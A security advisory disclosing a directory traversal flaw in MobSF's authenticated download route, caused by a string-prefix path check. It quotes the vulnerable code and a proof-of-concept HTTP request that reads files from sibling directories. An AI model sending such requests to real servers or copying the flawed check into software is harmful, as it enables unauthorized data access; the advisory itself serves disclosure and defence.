GHSA-ccc3-fvfx-mw3v

### Summary The GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

### Details ``` def is_safe_path(safe_root, check_path): safe_root = os.path.realpath(os.path.normpath(safe_root)) check_path = os.path.realpath(os.path.normpath(check_path)) return os.path.commonprefix([check_path, safe_root]) == safe_root ``` commonprefix compares raw strings, not path components. For: ``` safe_root = /home/mobsf/.MobSF/downloads check_path = /home/mobsf/.MobSF/downloads_bak/test.txt ``` the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler: ``` # MobSF/views/home.py @login_required def download(request): root = settings.DWD_DIR filename = request.path.replace('/download/', '', 1) dwd_file = Path(root) / filename # absolute 'filename' ignores 'root' if '../' in filename or not is_safe_path(root, dwd_file): return HttpResponseForbidden(...) ext = dwd_file.suffix if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file(): return file_download(dwd_file, ...) ``` If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

### PoC Prereqs: authenticated user; standard install. Assume: ``` settings.DWD_DIR = /home/mobsf/.MobSF/downloads ``` Prepare a sibling directory with the same string prefix and a test file: ``` mkdir -p /home/mobsf/.MobSF/downloads_bak echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt ``` As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it): ``` GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1 Host: <HOST> Cookie: sessionid=<YOUR_SESSION> ``` Other working sibling directory names (if present): ``` …/downloads.old/... …/downloads_backup/... …/downloads1/... …/downloads-archive/... …/downloads 2024/... (URL-encoded space: downloads%202024) ``` ### Impact Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.